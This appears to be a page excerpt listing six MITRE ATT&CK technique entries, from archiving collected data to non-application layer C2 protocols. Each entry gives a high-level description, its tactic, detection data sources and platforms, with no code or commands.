Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may use legitimate desktop support and remote access software to establish an interactive command and control channel to target systems within networks. These services, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre